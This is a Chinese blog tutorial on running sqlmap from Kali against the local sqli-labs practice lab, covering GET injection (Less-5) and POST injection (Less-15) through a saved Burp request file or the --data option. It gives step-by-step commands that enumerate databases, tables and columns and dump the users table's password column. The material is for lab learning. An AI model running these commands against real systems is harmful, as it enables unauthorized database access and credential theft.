首页 > 数据库 >sqlmap使用教程(包含POST型注入方式)

sqlmap使用教程(包含POST型注入方式)

时间:2024-10-26 10:46:11浏览次数:9  
标签:sqlmap 教程 Less -- 192.168 sqli 37.1 POST

前言:

使用kali 系统中自带的sqlmap,无需安装,非常方便,命令行输入 sqlmap  可以查看sqlmap信息

正文中会把所有常用的命令先列举出来,如果只是不熟悉命令格式的朋友可以节约时间只看前面的部分,也可以用目录跳转到对应的内容,如果想了解工具的使用效果后面会有注入过程的详细演示

GET型注入演示环境选择sqli-labs 第5关,因为前四关是简单的联合查询,简单的联合查询注入不太需要工具帮助,第五关稍微复杂一点,所以选择第五关,不过运行出结果的时间也会比较长,需要一点点耐心

我这里是在kali中运行的sqlmap,而sqli-labs靶场是在本地windows中的,我在本机的访问路径是http://127.0.0.1/sqli/Less-5/   在kali中访问127.0.0.1是没有这个靶场环境的,需要更换一下ip

我的kali是NAT模式,用的是VMnet8 虚拟网卡   网关是192.168.37.1,所以把127.0.0.1换成192.168.37.1 即可访问

进入正题,下面主要从GET传参和POST传参 两个方面列举常用的sqlmap自动注入命令

GET传参注入

基本的SQL注入检测,可以检测注入点以及可注入类型
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch   
-–batch(不再询问,默认执行,如果不加这个参数中途会弹出很多问题妨碍注入)
 
查看所有数据库  --dbs
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch --dbs

查看当前使用的数据库  --current-db
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch --current-db

查看表名
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" -D security --tables --batch
-D 指定数据库       –-tables 列举所有表

查看表中的字段
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" -D security -T users --columns --batch
-T  指定表   -–columns  列举所有列名

查看字段中的数据
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security -T users -C password --dump 
-C   指定列名  -–dump  列举当前列所有内容
查询多个字段   -C 后面可以指定多个参数来查询多个字段,可以用双引号包围,不加也不会报错
sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security -T users -C id,password --dump

注意:

url后面只有参数名这种格式是不对的,例如  http://192.168.37.1/sqli/Less-5/?id   会报错

正常的格式就是注入页面的url加上参数名和值 例如http://192.168.37.1/sqli/Less-5/?id=1

不加后面的数字例如 ?id=   也是可以的,不会报错

演示:

使用sqlmap -u 命令可以得到一些基本信息,例如注入的参数名,可以注入的类型,数据库版本等

查看所有数据库名

sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch --dbs

 查看当前数据库名

sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch --current-db

查看表名

sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security --tables

查看字段名

sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security -T users --columns

查看字段数据

sqlmap -u "http://192.168.37.1/sqli/Less-5/?id=1" --batch -D security -T users -C password --dump

POST传参注入

POST请求的参数不会在url中显示,多存在于有登录框的页面中,因此GET传参的注入命令不适用于POST传参,下面提供两种方式: 

演示环境为sqli-labs 第15关,页面是登录框,是post传参

方式一: 抓包注入页面并保存文件,使用抓包文件进行注入(最准确)

使用Burp抓包,然后保存抓取到的内容到文件中,使用sqlmap -r 加载抓包文件,让sqlmap使用抓包文件中的数据来测试SQL注入漏洞,这种方式是最准确的

查看所有数据库
sqlmap -r "/root/less-15.txt" --batch -p uname --dbs   
-r 指定文件路径,从指定文件中读取HTTP请求
-p 指定参数名  不加p参数会自动检测注入点,也可以得到结果,指定注入参数名的话执行速度更快

查看当前数据库 
sqlmap -r "/root/less-15.txt" --batch -p uname --current-db
查表
sqlmap -r "/root/less-15.txt" --batch -p uname -D security --tables
查字段
sqlmap -r "/root/less-15.txt" --batch -p uname -D security -T users --columns
查数据
sqlmap -r "/root/less-15.txt" --batch -p uname -D security -T users -C password --dump

执行命令的结果和上面的get传参是一样的,这里就演示一下保存抓包文件

抓包页面如上图,然后鼠标右键 copy to file  保存即可

方式二: 使用--data 参数指定HTTP POST请求的数据

sqlmap -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1"

sqlmap -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1" --dbs

sqlmap -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1" -D security --tables

sqlmap -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1" -D security -T users --columns

....

后续的操作和前面的命令一样,只是增加了data参数去指定post请求中要注入的参数

不过这种方式不如第一种稳定,例如当查询users表中的字段数据时,无法获取到数据,还不知道是什么原因造成的,猜测是WAF拦截了?还请了解的大佬们指点一下

sqlmap -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1" -D security -T users -C "username" --dump

所以遇到POST型的SQL注入时,推荐使用抓包文件的方式去注入,稳定且准确

sqlmap终究只是一款工具,可以方便和简化一些操作,但是不能完全代替大脑思考,还是要理解注入原理和能够找到注入点的能力,不然工具也无法发挥它的强大作用

标签:sqlmap,教程,Less,--,192.168,sqli,37.1,POST
From: https://blog.csdn.net/weixin_73904941/article/details/143220574

相关文章

  • Redis的详细安装教程和环境变量配置(附有详细步骤讲解及相关操作截图和代码)
    NoSQL简介NoSQL数据库是一种非关系型数据库,它在处理大规模、高并发的动态网站数据时具有明显优势。NoSQL数据库的出现是为了解决传统关系数据库在处理大数据量和高并发请求时遇到的性能瓶颈。NoSQL数据库的设计允许它们在分布式环境中更有效地扩展,同时提供灵活的数据模型来适应不......
  • Lua语法基础教程(下篇)
    今天我们继续学习Lua语法基础教程,下篇。九、函数9.1初识函数函数是指一段在一起的、可以做某一件事儿的程序,也叫做子程序。在前面的内容中,我们已经接触过了函数的调用,这个函数就是前面用到了很多次的print(...)。调用函数只需要按下面的格式即可:函数名(参数1,参数2,参数3,.......
  • fastdfs管理工具Go-fastdfs-web 安装教程
    Go-fastdfs-web安装教程安装步骤下载:前往官方下载页面下载所需版本,选择带或不带JRE的安装包。设置权限:给安装文件赋予执行权限,命令为chmod+xgoFastDfsWeb.sh。启动与停止:启动命令为./goFastDfsWeb.shstart,停止为stop,查看状态为status。配置与访问:默认端口为80......
  • Anaconda + Vscode 和 Anaconda + Pycharm安装操作教程以及问题解决
    1.anaconda安装2.打不开AnacondaNavigation解决办法3.如何创建虚拟环境(2种方法)4.Anaconda+vscode5.Anaconda+pycharmAnaconda+Vscode和Anaconda+Pycharm安装操作教程以及问题解决1.anaconda安装Anaconda下载地址我选的是2020,11的一个版本。还没装之前电脑是有p......
  • 深度解读:PostgreSQL执行计划的高效优化指南
    全文目录:开篇语前言:为何要解读PostgreSQL执行计划?......
  • AGI大模型学习路线,从零基础到就业,神仙级教程你学会了吗?
    大模型学习路线建议先从主流的Llama开始,然后选用中文的Qwen/Baichuan/ChatGLM,先快速上手体验prompt工程,然后再学习其架构,跑微调脚本如果要深入学习,建议再按以下步骤,从更基础的GPT和BERT学起,因为底层是相通的,而且实际落地到一个系统中,应该也是大模型结合小模型(大模型在做判......
  • WEBRTC教程:局域网怎么调试,http://172.19.18.101:8080 ,无法访问摄像头和麦克风,请检查
    在局域网中使用WebRTC时,无法访问摄像头和麦克风通常是因为浏览器的安全策略限制了getUserMediaAPI的使用。如果你在非localhost或非HTTPS环境下访问网页,浏览器会阻止访问摄像头和麦克风。解决方案在局域网中调试WebRTC时,你有几个选项来解决这个问题:1.使用lo......
  • 搭建YOLOv8实现裂缝缺陷识别全流程教程:从源码下载到模型测试
    教程目的:yolov8的安装配置到训练模型,并完成使用模型进行识别前提注意:yolov8要求Python需要版本必需大于等于3.10,我用的Python3.12.3,这里分享下Python3.12.3的安装器=>夸克网盘分享以及教程中用到的yolov8源码、权重文件、GPU配套版本的Torch=> 夸克网盘分享大致步骤1.......
  • Altium Designer 入门基础教程(六)
    本文章继续接着《Altium Designer入门基础教程(五)》的内容往下介绍:七、AD画板的整个流程步骤 L.板层数和设计规则的设置a.板层数的设置开始画板前,根据板框大小和元器件的多少可以大概评估一下要用到几层板,先设置好层数,再开始布局画板工作;或者在布局画板的过程中,发现实在......
  • Altium Designer 入门基础教程(七)
    本文章继续接着《Altium Designer入门基础教程(六)》的内容往下介绍: M.元器件的布局布线设计规则设置完成之后,就开始元器件的布局与布线。把整个原理图的元器件拖到板框上方,然后选中红色框框区域删除掉。把输入法切换到美式键盘   设置布局栅格,一般默认即可  a......